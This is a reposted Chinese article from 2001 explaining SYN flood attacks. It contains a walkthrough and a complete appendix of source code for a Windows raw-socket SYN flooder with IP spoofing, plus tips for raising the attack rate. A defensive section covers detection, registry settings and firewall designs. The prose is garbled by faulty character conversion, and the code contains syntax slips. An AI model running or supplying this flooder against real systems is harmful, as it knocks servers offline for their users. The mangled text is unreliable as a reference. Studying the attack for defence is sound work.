SYN Flood的基本原理

建立時間:2001-06-28
文章屬性:轉載
文章來源: http://shotgun.patching.net/syn.htm
文章提交: xundi (xundi_at_xfocus.org)

Shotgun

首發於天極網

第一部分 SYN Flood的基本原理
SYN Flood是當前最流行的DoS(拒絕服務攻擊)與DDoS(分佈式拒絕服務攻擊)的方式之一,這是一種利用TCP協議缺陷,發送大量僞造的TCP鏈接請求,從而使得被攻擊方資源耗盡(CPU滿負荷或內存不足)的攻擊方式。   

要明白這種攻擊的基本原理,仍是要從TCP鏈接創建的過程開始提及:

你們都知道,TCP與UDP不一樣,它是基於鏈接的,也就是說:爲了在服務端和客戶端之間傳送TCP數據,必須先創建一個虛擬電路,也就是TCP鏈接,創建TCP鏈接的標準過程是這樣的:

首先,請求端(客戶端)發送一個包含SYN標誌的TCP報文,SYN即同步(Synchronize),同步報文會指明客戶端使用的端口以及TCP鏈接的初始序號;

第二步,服務器在收到客戶端的SYN報文後,將返回一個SYN+ACK的報文,表示客戶端的請求被接受,同時TCP序號被加一,ACK即確認(Acknowledgement)。

第三步,客戶端也返回一個確認報文ACK給服務器端,一樣TCP序列號被加一,到此一個TCP鏈接完成。

以上的鏈接過程在TCP協議中被稱爲三次握手(Three-way Handshake)。

  

問題就出在TCP鏈接的三次握手中,假設一個用戶向服務器發送了SYN報文後忽然死機或掉線,那麼服務器在發出SYN+ACK應答報文後是沒法收到客戶端 的ACK報文的(第三次握手沒法完成),這種狀況下服務器端通常會重試(再次發送SYN+ACK給客戶端)並等待一段時間後丟棄這個未完成的鏈接,這段時 間的長度咱們稱爲SYN Timeout,通常來講這個時間是分鐘的數量級(大約爲30秒-2分鐘);一個用戶出現異常致使服務器的一個線程等待1分鐘並非什麼很大的問題,但如 果有一個惡意的攻擊者大量模擬這種狀況,服務器端將爲了維護一個很是大的半鏈接列表而消耗很是多的資源----數以萬計的半鏈接,即便是簡單的保存並遍歷 也會消耗很是多的CPU時間和內存,況且還要不斷對這個列表中的IP進行SYN+ACK的重試。實際上若是服務器的TCP/IP棧不夠強大,最後的結果往 往是堆棧溢出崩潰---即便服務器端的系統足夠強大,服務器端也將忙於處理攻擊者僞造的TCP鏈接請求而無暇理睬客戶的正常請求(畢竟客戶端的正常請求比 率很是之小),此時從正常客戶的角度看來,服務器失去響應,這種狀況咱們稱做:服務器端受到了SYN Flood攻擊(SYN洪水攻擊)。

  

從防護角度來講,有幾種簡單的解決方法,第一種是縮短SYN Timeout時間,因爲SYN Flood攻擊的效果取決於服務器上保持的SYN半鏈接數,這個值=SYN攻擊的頻度 x  SYN Timeout,因此經過縮短從接收到SYN報文到肯定這個報文無效並丟棄改鏈接的時間,例如設置爲20秒如下(太低的SYN Timeout設置可能會影響客戶的正常訪問),能夠成倍的下降服務器的負荷。

    第二種方法是設置SYN Cookie,就是給每個請求鏈接的IP地址分配一個Cookie,若是短期內連續受到某個IP的重複SYN報文,就認定是受到了攻擊,之後從這個IP地址來的包會被一律丟棄。

    但是上述的兩種方法只能對付比較原始的SYN Flood攻擊,縮短SYN Timeout時間僅在對方攻擊頻度不高的狀況下生效,SYN Cookie更依賴於對方使用真實的IP地址,若是攻擊者以數萬/秒的速度發送SYN報文,同時利用SOCK_RAW隨機改寫IP報文中的源地址,以上的 方法將毫無用武之地。 
    

第二部份 SYN Flooder源碼解讀
  

    下面咱們來分析SYN Flooder的程序實現。

首先,咱們來看一下TCP報文的格式:

  

0         1         2         3         4         5         6

    0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4

    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

   |      IP首部      |    TCP首部      |    TCP數據段   |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              圖一 TCP報文結構

  

如上圖所示,一個TCP報文由三個部分構成:20字節的IP首部、20字節的TCP首部與不定長的數據段,(實際操做時可能會有可選的IP選項,這種狀況 下TCP首部向後順延)因爲咱們只是發送一個SYN信號,並不傳遞任何數據,因此TCP數據段爲空。TCP首部的數據結構爲:

  

   0                   1                   2                   3  

   0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2

   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

   |             十六位源端口號    |           十六位目標端口號    |

   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

   |                        三十二位序列號                         |

   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

   |                        三十二位確認號                         |

   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

   | 四位  |           |U|A|P|R|S|F|                               |

   | 首部  |六位保留位 |R|C|S|S|Y|I|         十六位窗口大小        |

   | 長度  |           |G|K|H|T|N|N|                               |

   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

   |           十六位校驗和        |         十六位緊急指針        |

   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

   |                          選項(如有)                         |

   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

   |                          數據(如有)                         |

   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      圖二  TCP首部結構

  

根據TCP報文格式,咱們定義一個結構TCP_HEADER用來存放TCP首部:

typedef struct _tcphdr              

{

        USHORT th_sport;               //16位源端口

    USHORT th_dport;             //16位目的端口

        unsigned int th_seq;         //32位序列號

        unsigned int th_ack;         //32位確認號

        unsigned char th_lenres;        //4位首部長度+6位保留字中的4位

        unsigned char th_flag;            //2位保留字+6位標誌位

        USHORT th_win;                 //16位窗口大小

        USHORT th_sum;                 //16位校驗和

        USHORT th_urp;                 //16位緊急數據偏移量

}TCP_HEADER;

經過以正確的數據填充這個結構並將TCP_HEADER.th_flag賦值爲2(二進制的00000010)咱們能製造一個SYN的TCP報文,經過大 量發送這個報文能夠實現SYN Flood的效果。可是爲了進行IP欺騙從而隱藏本身,也爲了躲避服務器的SYN Cookie檢查,還須要直接對IP首部進行操做:

0                   1                   2                   3  

   0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2

   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

   | 版本  | 長度  | 八位服務類型  |         十六位總長度          |

   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

   |           十六位標識          | 標誌|   十三位片偏移       |

   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

   | 八位生存時間  |   八位協議    |         十六位首部校驗和      |

   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

   |                      三十二位源IP地址                   |

   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

   |                     三十二位目的IP地址                      |

   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

   |                          選項(如有)                         |

   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

   |                           數據                          |

   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        圖三  IP首部結構

一樣定義一個IP_HEADER來存放IP首部

typedef struct _iphdr

{

        unsigned char h_verlen;            //4位首部長度+4位IP版本號

        unsigned char tos;               //8位服務類型TOS

        unsigned short total_len;      //16位總長度(字節)

        unsigned short ident;            //16位標識

        unsigned short frag_and_flags;  //3位標誌位

        unsigned char  ttl;              //8位生存時間 TTL

        unsigned char proto;         //8位協議號(TCP, UDP 或其餘)

        unsigned short checksum;        //16位IP首部校驗和

        unsigned int sourceIP;            //32位源IP地址

        unsigned int destIP;         //32位目的IP地址

}IP_HEADER;

而後經過SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED));

    創建一個原始套接口,因爲咱們的IP源地址是僞造的,因此不能期望系統幫咱們計算IP校驗和,咱們得在在setsockopt中設置IP_HDRINCL告訴系統本身填充IP首部並本身計算校驗和:

    flag=TRUE;

    setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));

IP校驗和的計算方法是:首先將IP首部的校驗和字段設爲0(IP_HEADER.checksum=0),而後計算整個IP首部(包括選項)的二進制反碼的和,一個標準的校驗和函數以下所示:

USHORT checksum(USHORT *buffer, int size)

{

unsigned long cksum=0;

        while(size >1) {

            cksum+=*buffer++;

            size -=sizeof(USHORT);

        }

        if(size ) cksum += *(UCHAR*)buffer;

    cksum = (cksum >> 16) + (cksum & 0xffff);

        cksum += (cksum >>16);

        return (USHORT)(~cksum);

}

這個函數並無通過任何的優化,因爲校驗和函數是TCP/IP協議中被調用最多函數之一,因此通常說來,在實現TCP/IP棧時,會根據操做系統對校驗和函數進行優化。

TCP首部檢驗和與IP首部校驗和的計算方法相同,在程序中使用同一個函數來計算。

須要注意的是,因爲TCP首部中不包含源地址與目標地址等信息,爲了保證TCP校驗的有效性,在進行TCP校驗和的計算時,須要增長一個TCP僞首部的校驗和,定義以下:

struct                        

{

        unsigned long saddr;     //源地址

        unsigned long daddr;     //目的地址

        char mbz;                    //置空

        char ptcl;                   //協議類型

        unsigned short tcpl;     //TCP長度

}psd_header;

而後咱們將這兩個字段複製到同一個緩衝區SendBuf中並計算TCP校驗和:

memcpy(SendBuf,&psd_header,sizeof(psd_header));  

    memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));

    tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));

計算IP校驗和的時候不須要包括TCP僞首部:

memcpy(SendBuf,&ip_header,sizeof(ip_header));

    memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));

    ip_header.checksum=checksum((USHORT *)SendBuf, sizeof(ip_header)+sizeof(tcp_header));

    再將計算過校驗和的IP首部與TCP首部複製到同一個緩衝區中就能夠直接發送了:

    memcpy(SendBuf,&ip_header,sizeof(ip_header));

    sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*) &DestAddr,sizeof(DestAddr));

  

由於整個TCP報文中的全部部分都是咱們本身寫入的(操做系統不會作任何干涉),因此咱們能夠在IP首部中放置隨機的源IP地址,若是僞造的源IP地址確 實有人使用,他在接收到服務器的SYN+ACK報文後會發送一個RST報文(標誌位爲00000100),通知服務器端不須要等待一個無效的鏈接,但是如 果這個僞造IP並無綁定在任何的主機上,不會有任何設備去通知主機該鏈接是無效的(這正是TCP協議的缺陷),主機將不斷重試直到SYN Timeout時間後才能丟棄這個無效的半鏈接。因此當攻擊者使用主機分佈很稀疏的IP地址段進行假裝IP的SYN Flood攻擊時,服務器主機承受的負荷會至關的高,根據測試,一臺PIII 550MHz+128MB+100Mbps的機器使用通過初步優化的SYN Flooder程序能夠以16,000包/秒的速度發送TCP SYN報文,這樣的攻擊力已經足以拖垮大部分WEB服務器了。

    稍微動動腦筋咱們就會發現,想對SYN Flooder程序進行優化是很簡單的,從程序構架來看,攻擊時循環內的代碼主要是進行校驗和計算與緩衝區的填充,通常的思路是提升校驗和計算的速度,我 甚至見過用匯編代碼編寫的校驗和函數,實際上,有另一個變通的方法能夠輕鬆實現優化而又不須要高深的編程技巧和數學知識,(老實說吧,我數學比較 差:P),咱們仔細研究了兩個不一樣源地址的TCP SYN報文後發現,兩個報文的大部分字段相同(好比目的地址、協議等等),只有源地址和校驗和不一樣(若是爲了隱蔽,源端口也能夠有變化,可是並不影響咱們 算法優化的思路),若是咱們事先計算好大量的源地址與校驗和的對應關係表(若是其餘的字段有變化也能夠加入這個表),等計算完畢了攻擊程序就只須要單純的 組合緩衝區併發送(用指針來直接操做緩衝區的特定位置,從事先計算好的對應關係表中讀出數據,替換緩衝區相應字段),這種簡單的工做徹底取決於系統發送 IP包的速度,與程序的效率沒有任何關係,這樣,即便是CPU主頻較低的主機也能快速的發送大量TCP SYN攻擊包。若是考慮到緩衝區拼接的時間,甚至能夠定義一個很大的緩衝區數組,填充完畢後再發送(雛鷹給這種方法想了一個很貼切的比喻:火箭炮裝彈雖然 很慢,可是一旦炮彈上膛了之後就能夠連續猛烈地發射了:)。

  

  

  

  

  

第三部分 SYN Flood攻擊的監測與防護初探

    對於SYN Flood攻擊,目前尚沒有很好的監測和防護方法,不過若是系統管理員熟悉攻擊方法和系統架構,經過一系列的設定,也能從必定程度上下降被攻擊系統的負荷,減輕負面的影響。(這正是我撰寫本文的主要目的)

    通常來講,若是一個系統(或主機)負荷忽然升高甚至失去響應,使用Netstat 命令能看到大量SYN_RCVD的半鏈接(數量>500或佔總鏈接數的10%以上),能夠認定,這個系統(或主機)遭到了SYN Flood攻擊。

    遭到SYN Flood攻擊後,首先要作的是取證,經過Netstat –n –p tcp >resault.txt記錄目前全部TCP鏈接狀態是必要的,若是有嗅探器,或者TcpDump之類的工具,記錄TCP SYN報文的全部細節也有助於之後追查和防護,須要記錄的字段有:源地址、IP首部中的標識、TCP首部中的序列號、TTL值等,這些信息雖然極可能是攻 擊者僞造的,可是用來分析攻擊者的心理狀態和攻擊程序也不無幫助。特別是TTL值,若是大量的攻擊包彷佛來自不一樣的IP可是TTL值卻相同,咱們每每能推 斷出攻擊者與咱們之間的路由器距離,至少也能夠經過過濾特定TTL值的報文下降被攻擊系統的負荷(在這種狀況下TTL值與攻擊報文不一樣的用戶就能夠恢復正 常訪問)

    前面曾經提到能夠經過縮短SYN Timeout時間和設置SYN Cookie來進行SYN攻擊保護,對於Win2000系統,還能夠經過修改註冊表下降SYN Flood的危害,在註冊表中做以下改動:

首先,打開regedit,找到HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters

增長一個SynAttackProtect的鍵值,類型爲REG_DWORD,取值範圍是0-2,這個值決定了系統受到SYN攻擊時採起的保護措施,包括減小系統SYN+ACK的重試的次數等,默認值是0(沒有任何保護措施),推薦設置是2;

增長一個TcpMaxHalfOpen的鍵值,類型爲REG_DWORD,取值範圍是100-0xFFFF,這個值是系統容許同時打開的半鏈接,默認狀況 下WIN2K PRO和SERVER是100,ADVANCED SERVER是500,這個值很難肯定,取決於服務器TCP負荷的情況和可能受到的攻擊強度,具體的值須要通過試驗才能決定。

    增長一個TcpMaxHalfOpenRetried的鍵值,類型爲REG_DWORD,取值範圍是80-0xFFFF,默認狀況下WIN2K PRO和SERVER是80,ADVANCED SERVER是400,這個值決定了在什麼狀況下系統會打開SYN攻擊保護。

  

    咱們來分析一下Win2000的SYN攻擊保護機制:正常狀況下,Win2K對TCP鏈接的三次握手有一個常規的設置,包括SYN Timeout時間、SYN-ACK的重試次數和SYN報文從路由器到系統再到Winsock的延時等,這個常規設置是針對系統性能進行優化的(安全和性 能每每相互矛盾)因此能夠給用戶提供方便快捷的服務;一旦服務器受到攻擊,SYN半鏈接的數量超過TcpMaxHalfOpenRetried的設置,系 統會認爲本身受到了SYN Flood攻擊,此時設置在SynAttackProtect鍵值中的選項開始做用,SYN Timeout時間被減短,SYN-ACK的重試次數減小,系統也會自動對緩衝區中的報文進行延時,避免對TCP/IP堆棧形成過大的衝擊,力圖將攻擊危 害減到最低;若是攻擊強度不斷增大,超過了TcpMaxHalfOpen值,此時系統已經不能提供正常的服務了,更重要的是保證系統不會崩潰,因此係統將 會丟棄任何超出TcpMaxHalfOpen值範圍的SYN報文(應該是使用隨機丟包策略),保證系統的穩定性。

    因此,對於須要進行SYN攻擊保護的系統,咱們能夠測試/預測一下訪問峯值時期的半鏈接打開量,以其做爲參考設定 TcpMaxHalfOpenRetried的值(保留必定的餘量),而後再以TcpMaxHalfOpenRetried的1.25倍做爲 TcpMaxHalfOpen值,這樣能夠最大限度地發揮WIN2K自身的SYN攻擊保護機制。

    經過設置註冊表防護SYN Flood攻擊,採用的是「捱打」的策略,不管系統如何強大,始終不能光靠捱打支撐下去,除了捱打以外,「退讓」也是一種比較有效的方法。

    退讓策略是基於SYN Flood攻擊代碼的一個缺陷,咱們從新來分析一下SYN Flood攻擊者的流程:SYN Flood程序有兩種攻擊方式,基於IP的和基於域名的,前者是攻擊者本身進行域名解析並將IP地址傳遞給攻擊程序,後者是攻擊程序自動進行域名解析,但 是它們有一點是相同的,就是一旦攻擊開始,將不會再進行域名解析,咱們的切入點正是這裏:假設一臺服務器在受到SYN Flood攻擊後迅速更換本身的IP地址,那麼攻擊者仍在不斷攻擊的只是一個空的IP地址,並無任何主機,而防護方只要將DNS解析更改到新的IP地址 就能在很短的時間內(取決於DNS的刷新時間)恢復用戶經過域名進行的正常訪問。爲了迷惑攻擊者,咱們甚至能夠放置一臺「犧牲」服務器讓攻擊者知足於攻擊 的「效果」(因爲DNS緩衝的緣由,只要攻擊者的瀏覽器不重起,他訪問的仍然是原先的IP地址)。

    一樣的緣由,在衆多的負載均衡架構中,基於DNS解析的負載均衡自己就擁有對SYN Flood的免疫力,基於DNS解析的負載均衡能將用戶的請求分配到不一樣IP的服務器主機上,攻擊者攻擊的永遠只是其中一臺服務器,雖說攻擊者也能不斷 去進行DNS請求從而打破這種「退讓」策略,可是一來這樣增長了攻擊者的成本,二來過多的DNS請求能夠幫助咱們追查攻擊者的真正蹤影(DNS請求不一樣於 SYN攻擊,是須要返回數據的,因此很難進行IP假裝)。

  

    對於防火牆來講,防護SYN Flood攻擊的方法取決於防火牆工做的基本原理,通常說來,防火牆能夠工做在TCP層之上或IP層之下,工做在TCP層之上的防火牆稱爲網關型防火牆,網關型防火牆與服務器、客戶機之間的關係以下圖所示:

  

外部TCP鏈接                內部TCP鏈接

    [客戶機] =================>[防火牆] =================>[服務器]

    

    如上圖所示,客戶機與服務器之間並無真正的TCP鏈接,客戶機與服務器之間的全部數據交換都是經過防火牆代理的,外部的DNS解析也一樣指向防 火牆,因此若是網站被攻擊,真正受到攻擊的是防火牆,這種防火牆的優勢是穩定性好,抗打擊能力強,可是由於全部的TCP報文都須要通過防火牆轉發,因此效 率比較低因爲客戶機並不直接與服務器創建鏈接,在TCP鏈接沒有完成時防火牆不會去向後臺的服務器創建新的TCP鏈接,因此攻擊者沒法越過防火牆直接攻擊 後臺服務器,只要防火牆自己作的足夠強壯,這種架構能夠抵抗至關強度的SYN Flood攻擊。可是因爲防火牆實際創建的TCP鏈接數爲用戶鏈接數的兩倍(防火牆兩端都須要創建TCP鏈接),同時又代理了全部的來自客戶端的TCP請 求和數據傳送,在系統訪問量較大時,防火牆自身的負荷會比較高,因此這種架構並不能適用於大型網站。(我感受,對於這樣的防火牆架構,使用 TCP_STATE攻擊估計會至關有效:)

    工做在IP層或IP層之下的防火牆(路由型防火牆)工做原理有所不一樣,它與服務器、客戶機的關係以下圖所示:

[防火牆] 數據包修改轉發

    [客戶機]========|=======================>[服務器]

TCP鏈接

  

    客戶機直接與服務器進行TCP鏈接,防火牆起的是路由器的做用,它截獲全部經過的包並進行過濾,經過過濾的包被轉發給服務器,外部的DNS解析也 直接指向服務器,這種防火牆的優勢是效率高,能夠適應100Mbps-1Gbps的流量,可是這種防火牆若是配置不當,不只可讓攻擊者越過防火牆直接攻 擊內部服務器,甚至有可能放大攻擊的強度,致使整個系統崩潰。

    在這兩種基本模型以外,有一種新的防火牆模型,我我的認爲仍是比較巧妙的,它集中了兩種防火牆的優點,這種防火牆的工做原理以下所示:

第一階段,客戶機請求與防火牆創建鏈接:

SYN                           SYN+ACK                           ACK

    [客戶機]---- >[防火牆]   =>   [防火牆]-------- >[客戶機]   =>   [客戶機]--- >[防火牆]

  

第二階段,防火牆假裝成客戶機與後臺的服務器創建鏈接

[防火牆]< =========== >[服務器]

TCP鏈接

  

    第三階段,以後全部從客戶機來的TCP報文防火牆都直接轉發給後臺的服務器

防火牆轉發

[客戶機]< ======|======= >[服務器]

                     TCP鏈接

    這種結構吸收了上兩種防火牆的優勢,既能徹底控制全部的SYN報文,又不須要對全部的TCP數據報文進行代理,是一種一箭雙鵰的方法。

近來,國外和國內的一些防火牆廠商開始研究帶寬控制技術,若是能真正作到嚴格控制、分配帶寬,就能很大程度上防護絕大多數的拒絕服務攻擊,咱們仍是拭目以待吧。

  

附錄:Win2000下的SYN Flood程序

改編自Linux下Zakath編寫的SYN Flooder

編譯環境:VC++6.0,編譯時須要包含ws2_32.lib

//////////////////////////////////////////////////////////////////////////

//                                                                      //

//  SYN Flooder For Win2K by Shotgun                                    //

//                                                                      //

//  THIS PROGRAM IS MODIFIED FROM A LINUX VERSION BY Zakath             //

//  THANX Lion Hook FOR PROGRAM OPTIMIZATION                            //

//                                                                      //

//  Released:    [2001.4]                                                //

//  Author:     [Shotgun]                                               //

//  Homepage:                                                           //

//              [ http://IT.Xici.Net]                                    //

//              [ http://WWW.Patching.Net]                               // //                                                                      // ////////////////////////////////////////////////////////////////////////// #include <winsock2.h> #include <Ws2tcpip.h> #include <stdio.h> #include <stdlib.h> #define SEQ 0x28376839 #define SYN_DEST_IP "192.168.15.250"//被攻擊的IP #define FAKE_IP "10.168.150.1"       //假裝IP的起始值,本程序的假裝IP覆蓋一個B類網段 #define STATUS_FAILED 0xFFFF      //錯誤返回值    typedef struct _iphdr              //定義IP首部 {     unsigned char h_verlen;            //4位首部長度,4位IP版本號     unsigned char tos;               //8位服務類型TOS     unsigned short total_len;      //16位總長度(字節)     unsigned short ident;            //16位標識     unsigned short frag_and_flags;  //3位標誌位     unsigned char  ttl;              //8位生存時間 TTL     unsigned char proto;         //8位協議 (TCP, UDP 或其餘)     unsigned short checksum;        //16位IP首部校驗和     unsigned int sourceIP;            //32位源IP地址     unsigned int destIP;         //32位目的IP地址 }IP_HEADER;    struct                              //定義TCP僞首部 {         unsigned long saddr;     //源地址         unsigned long daddr;     //目的地址         char mbz;         char ptcl;                   //協議類型         unsigned short tcpl;     //TCP長度 }psd_header;    typedef struct _tcphdr             //定義TCP首部 {     USHORT th_sport;               //16位源端口     USHORT th_dport;               //16位目的端口     unsigned int th_seq;         //32位序列號     unsigned int th_ack;         //32位確認號     unsigned char th_lenres;        //4位首部長度/6位保留字     unsigned char th_flag;            //6位標誌位     USHORT th_win;                 //16位窗口大小     USHORT th_sum;                 //16位校驗和     USHORT th_urp;                 //16位緊急數據偏移量 }TCP_HEADER;    //CheckSum:計算校驗和的子函數 USHORT checksum(USHORT *buffer, int size) { unsigned long cksum=0;       while(size >1) {     cksum+=*buffer++;     size -=sizeof(USHORT);   }   if(size ) {     cksum += *(UCHAR*)buffer;   }   cksum = (cksum >> 16) + (cksum & 0xffff);   cksum += (cksum >>16);   return (USHORT)(~cksum); }    //  SynFlood主函數 int main() {     int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost;     int TimeOut=2000,SendSEQ=0;     char SendBuf[128]={0};     char RecvBuf[65535]={0};     WSADATA wsaData;     SOCKET SockRaw=(SOCKET)NULL;     struct sockaddr_in DestAddr;     IP_HEADER ip_header;     TCP_HEADER tcp_header;     //初始化SOCK_RAW     if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){         fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode);         ExitProcess(STATUS_FAILED);     }     SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED)); if (SockRaw==INVALID_SOCKET){         fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());         ExitProcess(STATUS_FAILED);     }     flag=TRUE;     //設置IP_HDRINCL以本身填充IP首部     ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int)); If (ErrorCode==SOCKET_ERROR)  printf("Set IP_HDRINCL Error!\n");     __try{         //設置發送超時         ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut)); if(ErrorCode==SOCKET_ERROR){             fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError());             __leave;         }         memset(&DestAddr,0,sizeof(DestAddr));         DestAddr.sin_family=AF_INET;         DestAddr.sin_addr.s_addr=inet_addr(SYN_DEST_IP);         FakeIpNet=inet_addr(FAKE_IP);         FakeIpHost=ntohl(FakeIpNet);         //填充IP首部         ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long)); //高四位IP版本號,低四位首部長度         ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));     //16位總長度(字節)         ip_header.ident=1;                                                       //16位標識         ip_header.frag_and_flags=0;                                               //3位標誌位         ip_header.ttl=128;                                                       //8位生存時間TTL         ip_header.proto=IPPROTO_TCP;                                          //8位協議(TCP,UDP…)         ip_header.checksum=0;                                                    //16位IP首部校驗和         ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);                          //32位源IP地址         ip_header.destIP=inet_addr(SYN_DEST_IP);                               //32位目的IP地址     //填充TCP首部         tcp_header.th_sport=htons(7000);                                      //源端口號         tcp_header.th_dport=htons(8080);                                      //目的端口號         tcp_header.th_seq=htonl(SEQ+SendSEQ);                                  //SYN序列號         tcp_header.th_ack=0;                                                 //ACK序列號置爲0         tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0);                        //TCP長度和保留位         tcp_header.th_flag=2;                                                    //SYN 標誌         tcp_header.th_win=htons(16384);                                           //窗口大小         tcp_header.th_urp=0;                                                 //偏移         tcp_header.th_sum=0;                                                 //校驗和         //填充TCP僞首部(用於計算校驗和,並不真正發送)         psd_header.saddr=ip_header.sourceIP;                                    //源地址         psd_header.daddr=ip_header.destIP;                                      //目的地址         psd_header.mbz=0;         psd_header.ptcl=IPPROTO_TCP;                                            //協議類型         psd_header.tcpl=htons(sizeof(tcp_header));                              //TCP首部長度         while(1) {             //每發送10,240個報文輸出一個標示符             printf(".");             for(counter=0;counter<10240;counter++){                 if(SendSEQ++==65536) SendSEQ=1;                                  //序列號循環                 //更改IP首部                 ip_header.checksum=0;                                            //16位IP首部校驗和                 ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);                  //32位源IP地址                 //更改TCP首部                 tcp_header.th_seq=htonl(SEQ+SendSEQ);                          //SYN序列號                 tcp_header.th_sum=0;                                         //校驗和                 //更改TCP Pseudo Header                 psd_header.saddr=ip_header.sourceIP;                                   //計算TCP校驗和,計算校驗和時須要包括TCP pseudo header                         memcpy(SendBuf,&psd_header,sizeof(psd_header));                   memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));                 tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));                 //計算IP校驗和                 memcpy(SendBuf,&ip_header,sizeof(ip_header));                 memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));                 memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4);                 datasize=sizeof(ip_header)+sizeof(tcp_header);                 ip_header.checksum=checksum((USHORT *)SendBuf,datasize);                 //填充發送緩衝區                 memcpy(SendBuf,&ip_header,sizeof(ip_header));                 //發送TCP報文                 ErrorCode=sendto(SockRaw,                                 SendBuf,                                 datasize,                                 0,                                 (struct sockaddr*) &DestAddr,                                 sizeof(DestAddr)); if (ErrorCode==SOCKET_ERROR) printf("\nSend Error:%d\n",GetLastError());             }//End of for         }//End of While     }//End of try   __finally {     if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);     WSACleanup();   }   return 0; }
相關文章
相關標籤/搜索